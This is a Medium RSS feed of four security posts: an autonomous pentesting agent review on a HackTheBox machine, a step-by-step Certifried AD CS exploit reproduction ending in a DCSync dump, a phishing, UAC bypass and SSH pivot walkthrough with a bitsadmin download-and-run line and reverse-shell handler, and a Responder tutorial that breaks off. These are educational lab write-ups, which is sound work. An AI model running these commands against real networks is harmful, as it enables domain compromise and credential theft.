<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sarah on Medium]]></title>
        <description><![CDATA[Stories by Sarah on Medium]]></description>
        <link>https://medium.com/@ssi51?source=rss-1faeab82c90d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZO85C0owtA_-oJp5o17Myw.jpeg</url>
            <title>Stories by Sarah on Medium</title>
            <link>https://medium.com/@ssi51?source=rss-1faeab82c90d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 14:19:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ssi51/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Testing PentestGPT’s Autonomous Agent on HackTheBox]]></title>
            <link>https://medium.com/@ssi51/testing-pentestgpts-autonomous-agent-on-hackthebox-5fe824166514?source=rss-1faeab82c90d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fe824166514</guid>
            <category><![CDATA[ai-security]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[pentestgpt]]></category>
            <dc:creator><![CDATA[Sarah]]></dc:creator>
            <pubDate>Mon, 20 Jul 2026 01:01:02 GMT</pubDate>
            <atom:updated>2026-07-20T01:01:02.110Z</atom:updated>
            <content:encoded><![CDATA[<p>An honest look at what worked, what broke, and whether autonomous pentesting tools are worth the setup pain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hMiDUm1lTArw8CxXiNVCNQ.png" /></figure><p>I have been curious about autonomous pentesting tools for a while. PentestGPT caught my eye because it is one of the few that actually has academic backing (USENIX Security 2024, Distinguished Artifact) and claims to run end-to-end penetration tests with minimal human intervention. So I decided to put it through its paces on HackTheBox’s “Cap” machine, an easy-rated retired Linux box.</p><p><strong>This is not a traditional HTB writeup.</strong> It is a review of PentestGPT as a tool, what it takes to get it running, how far it gets on its own, and where it falls apart.</p><h3>The Target: Cap</h3><p>Cap is a straightforward Linux box with a clean three-step exploit chain:</p><ol><li>A web application (“Security Dashboard”) with an IDOR vulnerability in its network capture download feature</li><li>Plaintext FTP credentials sitting in a captured pcap file</li><li>Privilege escalation via a Linux capability (cap_setuid) on Python</li></ol><p>Simple enough that an autonomous agent should, in theory, handle it without much trouble. Let’s see.</p><h3>Setting Up PentestGPT on Ubuntu WSL</h3><p>This is where the real adventure started. The official website (pentestgpt.com) shows a clean four-command setup:</p><pre>git clone --recurse-submodules https://github.com/GreyDGL/PentestGPT.git<br>cd PentestGPT &amp;&amp; make install<br>make config<br>make connect</pre><p>In practice, none of that worked as shown.</p><p><strong>Problem 1: Missing dependencies.</strong> make install immediately failed because uv (a Python package manager) was not installed. Fair enough, easy fix:</p><pre>curl -LsSf https://astral.sh/uv/install.sh | sh<br>source $HOME/.local/bin/env</pre><p><strong>Problem 2: The Makefile does not match the docs.</strong> After make install succeeded, make config and make connect both returned &quot;No rule to make target.&quot; The website&#39;s quickstart is stale. The actual Makefile on the main branch uses a different Docker workflow:</p><pre>make docker-build<br>make docker-login<br>make docker-shell</pre><p>This kind of documentation drift is frustrating but not unusual for fast-moving open source projects. If you are trying to replicate this, ignore the website and read the actual Makefile (make help).</p><p><strong>Problem 3: Authentication.</strong> PentestGPT’s agent mode uses Claude Code under the hood. Since I was running inside a Docker container (headless, no browser), I needed to generate a setup token:</p><pre>claude setup-token</pre><p>This prints a URL you open in your browser, authorize with your Claude account, and paste the resulting token back. It requires a Claude Pro or Max subscription. Free-tier accounts do not have Claude Code access.</p><p><strong>Problem 4: VPN networking.</strong> I run HackTheBox through OpenVPN on WSL. The Docker container, by default, uses bridged networking and cannot see the VPN tunnel. The fix is launching the container with --network host:</p><pre>docker run -it --rm --network host \<br>  -v pentestgpt-claude:/home/pentester/.claude \<br>  -v pentestgpt-codex:/home/pentester/.codex \<br>  -v $(pwd)/workspace:/workspace \<br>  -e PENTESTGPT_AUTH_MODE=manual \<br>  pentestgpt:latest</pre><p><strong>Problem 5: The framework is not in the Docker image.</strong> After all that, running pentestgpt inside the container returned &quot;command not found.&quot; The Makefile&#39;s own help text actually warns about this: docker-run is listed as &quot;Pending: framework is not baked into the image yet.&quot; I ended up running the agent directly on the WSL host instead:</p><pre>cd ~/PentestGPT/pentestgpt_agent<br>uv run pentestgpt-agent \<br>  --target 10.129.7.229 \<br>  --goal &quot;Full penetration test of this Linux machine...&quot; \<br>  --backend claude</pre><p>Total setup time: roughly 30 minutes of troubleshooting. Not ideal.</p><h3>The Autonomous Run</h3><p>Once running, PentestGPT broke the engagement into tasks and executed them sequentially.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oGSfgTWAhaXshCpEIo9K7g.png" /><figcaption>PentestGPT agent output</figcaption></figure><p>Here is what it accomplished in about 5.5 minutes:</p><p><strong>Task 1 — Port scan:</strong> Full TCP scan with nmap. Found three open ports: FTP (21, vsftpd 3.0.3), SSH (22, OpenSSH 8.2p1), and HTTP (80, Gunicorn serving a “Security Dashboard”). Clean and fast.</p><p><strong>Task 2 — Web enumeration:</strong> Mapped the web application’s routes: /, /capture, /ip, /netstat. Discovered that /capture redirects to /data/1, a capture detail page keyed by numeric ID with a download button linking to /download/1. Probed /data/0 (returned 200) and /data/2 (redirected to /), identifying the IDOR surface.</p><p><strong>Task 3 — IDOR confirmation:</strong> Downloaded /download/0 and got a 9935-byte pcap file belonging to another user&#39;s session. Confirmed the IDOR: the application does not validate whether the requesting user owns the capture.</p><p><strong>Task 4 — Credential extraction:</strong> Analyzed the pcap, identified FTP traffic (25 frames), and extracted the full FTP session: user nathan authenticating with password Buck3tH4TF0RM3! against vsftpd, followed by &quot;230 Login successful.&quot;</p><p><strong>And then it crashed.</strong> The supervisor module hit a dependency resolution bug. It tried to schedule the next task (SSH in with the discovered credentials) while Task 4 was still marked as “progress” instead of “done.” The error: supervisor_contract: Supervisor failed after 2 attempts: selected task has unfinished dependencies: [&#39;t4&#39;]</p><p>The agent found the credentials but never got to use them.</p><h3>Finishing Manually</h3><p>With the creds already extracted, finishing took about 30 seconds:</p><pre>ssh nathan@10.129.7.229<br># password: Buck3tH4TF0RM3!<br>cat ~/user.txt</pre><p>For root, check Linux capabilities:</p><pre>getcap -r / 2&gt;/dev/null</pre><p>Python 3.8 has cap_setuid:</p><pre>/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip</pre><p>One-liner to root:</p><pre>/usr/bin/python3.8 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;)&#39;<br>cat /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-NTVKce3TbSam32OPesVg.png" /><figcaption>root shell and flag</figcaption></figure><h3>Cost and Performance</h3><p>PentestGPT reported an estimated token cost of $1.18 for the run. Since I authenticated with my Claude Pro subscription, this was included in my existing subscription and not an additional charge. If you use an API key from console.anthropic.com instead, that cost would be real and billed per token.</p><p>For what it accomplished: $1.18 (or 5.5 minutes of Pro subscription usage) to get halfway through an easy box. I finished the rest in 30 seconds. The ROI is not great on a per-box basis, but the tool is clearly early-stage and the autonomous pipeline has real potential once the supervisor bugs are ironed out.</p><h3>Verdict</h3><p><strong>What impressed me:</strong></p><ul><li>The reconnaissance and enumeration logic is solid. It correctly identified the IDOR surface without being told exactly where to look.</li><li>Pcap analysis and credential extraction worked perfectly. Parsing FTP sessions out of packet captures is not trivial.</li><li>The task decomposition (scan, enumerate, test, exploit) mirrors real pentesting methodology.</li></ul><p><strong>What needs work:</strong></p><ul><li>Setup experience is rough. Documentation does not match the actual codebase, the Docker image is incomplete, and networking requires manual fixes.</li><li>The supervisor dependency bug killed an otherwise successful run. The agent had everything it needed to complete the box.</li><li>No fallback or retry logic when the supervisor fails. It just dumps a JSON blob and exits.</li></ul><p><strong>Bottom line:</strong> PentestGPT is a research tool, not a production tool. The underlying approach is sound, and the fact that it autonomously chained IDOR discovery into pcap analysis into credential extraction is genuinely impressive. But the engineering around it (setup, error handling, Docker integration) is not ready for casual use. If you are comfortable debugging Makefiles and Docker networking, it is worth experimenting with. If you want something that just works out of the box, check back in a few versions.</p><p>Thank you for reading ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fe824166514" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reproducing Certifried (CVE-2022–26923)]]></title>
            <link>https://medium.com/@ssi51/reproducing-certifried-cve-2022-26923-10e70e807c50?source=rss-1faeab82c90d------2</link>
            <guid isPermaLink="false">https://medium.com/p/10e70e807c50</guid>
            <category><![CDATA[adcs-attacks]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Sarah]]></dc:creator>
            <pubDate>Fri, 17 Jul 2026 16:01:18 GMT</pubDate>
            <atom:updated>2026-07-17T16:01:18.148Z</atom:updated>
            <content:encoded><![CDATA[<p>What if I told you that any regular employee with a basic domain account could take over an entire corporate network by abusing a feature that’s enabled by default in most Windows environments?</p><p>That’s exactly what CVE-2022–26923, nicknamed “Certifried,” allows. Discovered by Oliver Lyak (ly4k) and patched by Microsoft in May 2022, this vulnerability targets Active Directory Certificate Services (AD CS).</p><h3>What You Need to Know First</h3><p>Before diving in, let’s cover the key concepts. Skip ahead to the exploit if you’re already comfortable with AD and certificates.</p><p><strong>Active Directory (AD)</strong> is how most companies manage their Windows networks. It’s the central directory that controls who can log in, what they can access and how machines are organized. The Domain Controller (DC) is the server that runs AD. If you compromise the DC, you own the entire network.</p><p><strong>Active Directory Certificate Services (AD CS)</strong> is a Windows server role that lets organizations issue digital certificates. Think of certificates like digital ID cards. Machines and users in the domain can request certificates to authenticate themselves.</p><p><strong>Machine accounts</strong> are AD accounts that represent computers joined to the domain. Every computer in the network has one, and they end with a $ sign (e.g., WORKSTATION01$). By default, any regular domain user can create up to 10 machine accounts (this is controlled by a setting called ms-DS-MachineAccountQuota.)</p><p><strong>PKINIT</strong> is a Kerberos extension that lets you authenticate using a certificate instead of a password. If you have a valid certificate with the right identity information, the domain will hand you a Kerberos ticket for that identity. No password needed here.</p><p><strong>dnsHostName</strong> is an attribute on every machine account in AD that stores the machine’s fully qualified domain name (e.g., DC-01.certifried.lab). When AD CS issues a certificate using the default Machine template, it reads this attribute and embeds it into the certificate&#39;s Subject Alternative Name (SAN). This is the attribute Certifried abuses.</p><h3>The Vulnerability</h3><p>The root cause of Certifried is deceptively simple: before the May 2022 patch, Active Directory did not validate whether a user had the right to set a machine account’s dnsHostName attribute to match another machine&#39;s hostname.</p><p>Here’s the chain of failures:</p><ol><li>Any domain user can create machine accounts (default quota of 10).</li><li>The creator of a machine account has permission to edit its attributes, including dnsHostName.</li><li>AD does not check whether the new dnsHostName value already belongs to another machine. The only validation is on servicePrincipalName (SPN) uniqueness .</li><li>When the Machine certificate template processes a request, it reads dnsHostName from the requesting account and embeds it into the certificate&#39;s SAN.</li><li>When that certificate is later used for PKINIT authentication, Kerberos maps the SAN back to whichever account actually owns that hostname. The real DC, not the attacker’s fake machine.</li></ol><p>The result: a low-privileged user can obtain a certificate that authenticates as the Domain Controller.</p><h3>Brief Lab Setup</h3><p>I built a minimal isolated lab to reproduce this:</p><ul><li><strong>Hypervisor:</strong> VMware Workstation with a host-only network (no internet exposure)</li><li><strong>Domain Controller:</strong> Windows Server 2022 Standard Evaluation (Server Core), hostname DC-01, domain certifried.lab, static IP 192.168.41.130</li><li><strong>AD CS:</strong> Enterprise Root CA named certifried-CA with the default Machine template published</li><li><strong>Attack machine:</strong> WSL2 (Ubuntu) with certipy-ad v5.1.0 installed</li><li><strong>Test account:</strong> lowpriv— a standard domain user with no special privileges</li></ul><p>The critical detail: Windows Update was disabled immediately after setting up AD CS to keep the environment in its pre-patch, vulnerable state. The default Machine template is vulnerable out of the box. No misconfiguration needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SwmAqx1-FO4HFzy4UXIpPA.png" /><figcaption>Certifried Lab Topolgy</figcaption></figure><h3>The Exploit</h3><p>All commands below are run from WSL using certipy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L0Q1Ba-nMZos7JoNT3M6Tw.png" /><figcaption>Certifried Attack Flow</figcaption></figure><h4>Step 1: Reconnaissance</h4><p>First, confirm the CA exists and is accessible:</p><pre>certipy find -u lowpriv@certifried.lab -p &#39;Passw0rd123!&#39; -dc-ip 192.168.41.130</pre><p>This enumerates all certificate authorities and templates in the domain. The key finding: certifried-CA is an Enterprise Root CA with the Machine template published, and Authenticated Users have Enroll permissions on the CA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h6FQ1Z3ocu9c6QoJAKfduQ.png" /><figcaption>certipy find output showing the CA configuration</figcaption></figure><h4>Step 2: Create a Machine Account</h4><p>Any domain user can do this thanks to the default machine account quota:</p><pre>certipy account create -u lowpriv@certifried.lab -p &#39;Passw0rd123!&#39; -dc-ip 192.168.41.130 -user &#39;ATTACKERSYSTEM$&#39; -pass &#39;Summer2018!&#39;</pre><p>This creates ATTACKERSYSTEM$ , a machine account fully controlled by our lowpriv user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wLQSoD6zgx1rnolOD42eMQ.png" /><figcaption>successful machine account creation output</figcaption></figure><h4>Step 3: Clear the SPNs</h4><p>Before we can spoof the DC’s hostname, we need to remove the automatically generated SPNs. AD enforces SPN uniqueness. If we try to set our dnsHostName to DC-01.certifried.lab while SPNs like HOST/DC-01.certifried.lab exist on the real DC, the update would fail. Clearing our SPNs removes that constraint:</p><pre>certipy account update -u lowpriv@certifried.lab -p &#39;Passw0rd123!&#39; -dc-ip 192.168.41.130 -user &#39;ATTACKERSYSTEM$&#39; -sam &#39;ATTACKERSYSTEM$&#39; -spns &#39;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vK7KZEOR2SOssavFdn4jzQ.png" /><figcaption>SPN deletion output</figcaption></figure><h4>Step 4: Spoof the DC’s dnsHostName (The Vulnerability)</h4><p>This is the core of Certifried. We set our machine account’s dnsHostName to match the Domain Controller&#39;s:</p><pre>certipy account update -u lowpriv@certifried.lab -p &#39;Passw0rd123!&#39; -dc-ip 192.168.41.130 -user &#39;ATTACKERSYSTEM$&#39; -dns &#39;DC-01.certifried.lab&#39;</pre><p>On a patched system, this would be rejected. On our unpatched lab, AD accepts it without question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PWFirae3tBWIhggeVO4rqQ.png" /><figcaption>successful dnsHostName update</figcaption></figure><h4>Step 5: Request a Certificate</h4><p>Now we request a certificate from the Machine template. AD CS reads our spoofed dnsHostName and embeds DC-01.certifried.lab into the certificate&#39;s SAN:</p><pre>certipy req -u &#39;ATTACKERSYSTEM$&#39; -p &#39;Summer2018!&#39; -dc-ip 192.168.41.130 -target 192.168.41.130 -ca certifried-CA -template Machine</pre><p>The output confirms: “Got certificate with DNS Host Name ‘DC-01.certifried.lab’”. The certificate is saved as dc-01.pfx.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6iSAptZCagcl3NX2hQ_7eg.png" /><figcaption>certificate request output showing the DC’s hostname in the cert</figcaption></figure><h4>Step 6: Restore the dnsHostName (Cleanup)</h4><p>Good operational hygiene or to avoid detection:</p><pre>certipy account update -u lowpriv@certifried.lab -p &#39;Passw0rd123!&#39; -dc-ip 192.168.41.130 -user &#39;ATTACKERSYSTEM$&#39; -dns &#39;attackersystem.certifried.lab&#39;</pre><h4>Step 7: Authenticate as the Domain Controller</h4><p>Using the forged certificate, we perform PKINIT authentication. Kerberos sees DC-01.certifried.lab in the SAN, maps it to the real dc-01$ machine account, and hands us a TGT:</p><pre>certipy auth -pfx dc-01.pfx -dc-ip 192.168.41.130</pre><p>We now have the Domain Controller’s machine account NT hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BIRzD18qwdio6TC5-j-PHg.png" /></figure><h3>What Can an Attacker Do with This?</h3><p>The DC machine account hash gives an attacker replication privileges over the entire domain. Using tools like secretsdump.py from Impacket, they can perform a <strong>DCSync attack</strong> — requesting AD to replicate all password hashes as if they were a legitimate Domain Controller:</p><pre>secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:afe2f7191dad2baf20837f83993ec96f &#39;certifried.lab/dc-01$@192.168.41.130&#39;</pre><p>This dumps every credential in the domain: Administrator, krbtgt (which enables Golden Ticket attacks for permanent persistence), service accounts, and every user. Total domain compromise, starting from a single unprivileged account.</p><h3>Remediation</h3><ol><li><strong>Apply the May 2022 patch (KB5014754).</strong> Post-patch, AD validates dnsHostName changes against the machine account&#39;s ownership, blocking the spoofing entirely.</li><li><strong>Reduce </strong><strong>ms-DS-MachineAccountQuota to 0.</strong> Most organizations don&#39;t need regular users creating machine accounts. Removing this default eliminates the first step of the chain.</li><li><strong>Monitor for suspicious machine account activity.</strong> Watch for machine accounts with cleared SPNs, dnsHostName values that don&#39;t match the sAMAccountName, or certificate requests from newly created computer objects.</li><li><strong>Audit AD CS templates.</strong> Review which templates are published and who can enroll. The default Machine template is safe post-patch, but other templates may have their own misconfigurations (ESC1-ESC8).</li></ol><h3>Key Takeaways</h3><p>Certifried is a great example of how default configurations can be dangerous. No misconfiguration was needed, every component (machine account quota, AD CS Machine template, PKINIT authentication) was working exactly as designed. The vulnerability was a missing validation check on a single attribute update. It’s a reminder that “default” doesn’t mean “secure,” and that AD CS deserves the same security attention as any other critical infrastructure component. Thanks for reading ❤</p><p><em>This research was conducted in an isolated lab environment for educational purposes. All systems were personally owned evaluation copies with no connection to production networks.</em></p><p><em>Tools used: certipy-ad v5.1.0 by Oliver Lyak (ly4k)</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=10e70e807c50" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Chaining Phishing, UAC Bypasses and SSH Pivots]]></title>
            <link>https://medium.com/@ssi51/chaining-phishing-uac-bypasses-and-ssh-pivots-978a0102e564?source=rss-1faeab82c90d------2</link>
            <guid isPermaLink="false">https://medium.com/p/978a0102e564</guid>
            <category><![CDATA[windows-security]]></category>
            <category><![CDATA[uac-bypass]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Sarah]]></dc:creator>
            <pubDate>Thu, 02 Jul 2026 15:46:37 GMT</pubDate>
            <atom:updated>2026-07-02T15:46:37.155Z</atom:updated>
            <content:encoded><![CDATA[<p>When performing a penetration test, gaining an initial foothold on a perimeter network is only the beginning. The true test of an offensive security professional lies in <strong>post-exploitation, </strong>the ability to escalate privileges, map the internal architecture and move laterally to compromise assets tucked deep behind segmented firewalls.</p><p>In this walkthrough, we will dissect a complete, multi-stage cyberattack simulation. We will chain together a simulated social engineering attack, a sophisticated Windows User Account Control (UAC) bypass, administrative share manipulation and a multi-hop SSH pivot to compromise an isolated internal workstation.</p><h3>The Topology</h3><p>Before executing commands, we must map our structural visibility. Our attack involves three distinct architectural layers:</p><ol><li><strong>The Attacker:</strong> A Kali Linux instance sitting externally on the internet subnet.</li><li><strong>The Pivot Zone:</strong> Two compromised footholds; a Windows Server 2016 instance (MS) and an internet-facing Linux Web Server (www.structureality.com). These machines can communicate with both the external internet and the internal network.</li><li><strong>The Target:</strong> An isolated internal workstation (PC10) that cannot directly communicate with our Kali Linux machine.</li></ol><h3>Stage 1: The Initial Beachhead via Simulated Phishing</h3><p>Our attack begins by establishing a low-privilege reverse shell handler on our Kali Linux infrastructure and simulating a user executing a malicious attachment on the Windows Server (MS).</p><h4>1. Setting up the Kali Listener</h4><p>On the Kali machine, we execute a pre-configured automation script to stand up our Metasploit handler:</p><pre>sudo su<br>./exploit-reverse_tcp.sh</pre><p>This script utilizes msfvenom to generate a malicious executable named safetool.exe and spins up the Metasploit framework’s multi-handler module:</p><pre>use exploit/multi/handler<br>set PAYLOAD windows/meterpreter/reverse_tcp<br>set LHOST 203.0.113.66<br>set LPORT 4444<br>exploit -j</pre><h4>2. Triggering the Execution on MS</h4><p>Simulating a social engineering scenario, the target user (Jaime) executes a batch script on the MS desktop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*Pw1K5v4lJ8xV4SdnQNx3FA.png" /></figure><p>The batch file automates an HTTP request back to Kali’s running Apache server to download the payload and execute it natively:</p><pre>@echo off<br>bitsadmin /transfer myDownloadJob http://203.0.113.66/safetool.exe C:\Users\jaime\Downloads\safetool.exe<br>C:\Users\jaime\Downloads\safetool.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*_Una2DEkTDzwm_F7BbhwPA.png" /><figcaption>This proves the phishing trick worked and you have your first low-privilege connection.</figcaption></figure><h3>Stage 2: Climbing the Ladder (The UAC Bypass)</h3><p>Because Jaime is a standard user, Windows User Account Control (UAC) blocks us from changing deep system settings. We need to escalate our privileges to get more power.</p><p>We put our first session in the background and run a UAC bypass script:</p><pre>background<br>resource bypassuac.rc</pre><p>This script uses a trick called COM Hijacking. It targets the built-in Windows Event Viewer (eventvwr.exe). Windows trusts this program completely, so it runs with high admin privileges without showing a security pop-up to the user.</p><p>When Event Viewer starts, it looks at a list in the Windows Registry to find files it needs. Metasploit changes this list to point to our malware instead. Event Viewer runs our malware blindly, giving us a new, high-privilege connection called Session 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hpw-v5yJODhuFbcf7tRXLw.png" /><figcaption>This proves you bypassed the Windows security guard without a pop-up.</figcaption></figure><p>Now we enter Session 2 and use token tricks to gain the highest possible power on the system, known as SYSTEM authority:</p><pre>sessions -i 2<br>getsystem<br>getuid</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*EeOgCnjQRgwjvXoV9MFNjw.png" /><figcaption>This proves you now have absolute control over the Windows server.</figcaption></figure><h3>Stage 3: Internal Scouting and Payload Planting</h3><p>Now that we control the Windows server completely, we use it to look for other computers on the internal network:</p><pre>shell<br>netdom query workstation</pre><p>This command shows us a new machine named PC10. We then find its internal network address:</p><pre>nslookup PC10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*ErXAU1oVdI7zfi3PhNkn0w.png" /></figure><p>The system tells us the IP address is 10.1.24.101.</p><p>Many companies reuse the same passwords on multiple computers. Since we have Jaime’s password, we connect to a hidden network drive on PC10 from our server:</p><pre>net use f: \\10.1.24.101\c$ Pa55w0rd! /user:structureality\jaime</pre><p>This maps the target’s C: drive onto our server as drive F:. Now we simply copy our malware onto the target computer:</p><pre>f:<br>copy C:\Users\jaime\Downloads\safetool.exe<br>dir<br>exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*Jl_szZLvsnkTALBbMMM7Dg.png" /><figcaption>The commands showing the network scan discovery of PC10 and the file copy command confirming that safetool.exe is now sitting on the target drive.</figcaption></figure><h3>Stage 4: Network Pivoting via the Web Server</h3><p>Our malware is now sitting on the target PC, but we cannot run it yet. A network drive link only lets us copy files, not execute them. Also, our Kali machine cannot talk to 10.1.24.101 directly because of a firewall.</p><p>To fix this, we will use a different path through the company web server. First, we clear our attack port on Kali:</p><pre>background<br>sessions -k 1<br>resource reverse_tcp.rc</pre><p>We killed our first session to free up Port 4444 so the target PC can use it later.</p><p>Next, we open a new terminal on Kali and scan the company website. We see that the SSH management port (Port 22) is open:</p><pre>nmap www.structureality.com -F -sV -Pn</pre><p>We log into the Linux web server using Jaime’s reused password:</p><pre>ssh jaime@www.structureality.com</pre><p>Now we are inside the web server. Because the web server can talk to the internal network, we use it to log into the target Windows PC via SSH:</p><pre>ssh jaime@10.1.24.101</pre><p>We have successfully bypassed the main network firewall by bouncing our connection through the web server.</p><h3>Stage 5: Checkmate (Executing the Payload)</h3><p>We are now sitting on the command line of the hidden target PC. We check our settings to confirm our location:</p><pre>whoami<br>hostname<br>ipconfig</pre><p>Finally, we run the malware file we planted earlier:</p><pre>c:\safetool.exe</pre><p>The file runs and reaches out through the internal network, dialing directly back to our Kali machine.</p><p>We switch back to our original Metasploit terminal on Kali and see our reward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u6G8NY67oKpIRDqEGRtKKA.png" /><figcaption>A brand new Meterpreter connection opening. You type sysinfo and the screen displays the Windows 10 details for PC10. This confirms full compromise of the target network.</figcaption></figure><h3>Lessons Learnt</h3><p>This attack shows how a hacker can connect small security mistakes together to cause a massive breach:</p><ul><li><strong>Stop Password Reuse:</strong> Using the same password for standard users, server admins and web accounts allows a hacker to take over multiple systems easily.</li><li><strong>Fix Network Segments:</strong> Public web servers should never be allowed to connect directly to internal staff workstations via tools like SSH.</li><li><strong>Monitor the Registry:</strong> Companies must monitor user registry settings for unexpected changes, since tools like UAC bypasses use them to trick trusted Windows applications.</li></ul><p>Thank you for reading ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=978a0102e564" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Responder Catches Hashes and PtH Uses Them]]></title>
            <link>https://medium.com/@ssi51/how-responder-catches-hashes-and-pth-uses-them-e06a44c59c45?source=rss-1faeab82c90d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e06a44c59c45</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[pass-the-hash]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[responder]]></category>
            <dc:creator><![CDATA[Sarah]]></dc:creator>
            <pubDate>Wed, 17 Jun 2026 19:27:34 GMT</pubDate>
            <atom:updated>2026-06-17T19:27:34.596Z</atom:updated>
            <content:encoded><![CDATA[<p>You keep seeing two terms thrown around everywhere in active directory write-ups: Responder and Pass-the-Hash (PtH).</p><p>If you’re anything like me when I first started learning network security, you probably lumped them together into one giant mental bucket labeled “Windows Hacky-Wacky Hash Stuff.” It’s easy to think they’re the same thing because they both involve grabbing a bunch of random numbers and letters from Windows and using them to compromise a system.</p><p>But treating Responder and Pass-the-Hash as the same thing is like saying a fishing net and a getaway car are the same tool because they both help you get away with food.</p><p>In reality, they happen at completely different stages of a penetration test:</p><ul><li>Responder is the ultimate opportunist. It sits on the network, waits for a Windows machine to make a silly mistake and catches a hash out of the air.</li><li>Pass-the-Hash is the ultimate locksmith. It takes a different kind of hash that you already stole from a machine’s internal memory and uses it to slide right into another system without ever knowing the actual password.</li></ul><p>We’re going to break down exactly how these two attacks work, why you absolutely cannot just “pass” a hash you caught with Responder.</p><h3>The Core Differences at a Glance</h3><p>Before we look at the terminal logs, let’s look at how these two attacks differ across the attack lifecycle:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p-KRDTppYylkGelh1cPIyw.png" /></figure><h3>Act 1: Setting Up Responder</h3><p>For this lab, my Kali Linux VM is sitting at the IP address 10.1.16.66, and it’s on the exact same local network as my victim Windows VM.</p><p>First, we need to spin up Responder on Kali and tell it to start listening for any lost and confused broadcast traffic.</p><h4>Step 1: Fire Up Responder on Kali</h4><p>Open up your terminal on Kali Linux. Since Responder needs to bind to network ports (like HTTP, SMB, and DNS) to spoof them, you’ll need to run it with root privileges.</p><pre>sudo responder -I eth0 -v</pre><p>Let’s break down what this actually means so you don’t look like a total script kiddie:</p><ul><li>responder: Invokes the tool.</li><li>-I eth0: Specifies your network interface. (Change eth0 to match your lab setup if you aren’t on a standard NAT/wired connection).</li><li>-v: Turns on verbose mode. We want this so we can see every single detail as it happens!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*HCRMOvtEwIDKO6VuK-dXMw.png" /></figure><p>Right now, Responder is sitting quietly in the background, acting like a spider waiting on a web. It’s listening on LLMNR, NBT-NS, and MDNS protocols, just waiting for our Windows machine to make a typo.</p><h4>Step 2: Triggering the Typo on the Victim Machine</h4><p>Now we switch over to our Windows VM to play the role of the unsuspecting victim. Imagine you’re an employee trying to connect to a shared network drive — maybe a domain controller named \\dc01—but because you haven&#39;t had your morning coffee yet, your fingers slip.</p><p>Instead of typing the correct path, you accidentally type \\dc11 into the File Explorer address bar and hit Enter.</p><p>Windows immediately pops up a prompt asking for network credentials, stating “Enter your credentials to connect to: dc11”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wotMcVeZdVteZeuc9b8KtA.png" /></figure><p>A whole chain reaction just happened:</p><ol><li><strong>DNS Fail:</strong> Windows asked the local DNS server, <em>“Hey, where is </em><em>dc11?&quot;</em> The DNS server replied, <em>&quot;I have absolutely no idea what you are talking about.&quot;</em></li><li><strong>The Desperate Cry:</strong> Instead of giving up, Windows started shouting out loud to the entire local network segment using legacy protocols like LLMNR and NetBIOS Name Service: <em>“Does ANYONE here know where </em><em>dc11 is?!&quot;</em></li><li><strong>The Trap Snaps:</strong> Our Kali machine running Responder (10.1.16.66) heard this broadcast and instantly replied, <em>&quot;Oh yeah, totally, I am definitely </em><em>dc11. Send over your authentication details so I can log you in!&quot;</em></li></ol><p>Because Windows automatically trusts local network challenges by default, it immediately tries to authenticate with our rogue server. Even though the victim sees an “Access is denied” message or a credential box on their screen, the damage is already done.</p><h4>Step 3: Snagging the Prize (The NetNTLMv2 Hash)</h4><p>Let’s switch back over to our Kali terminal 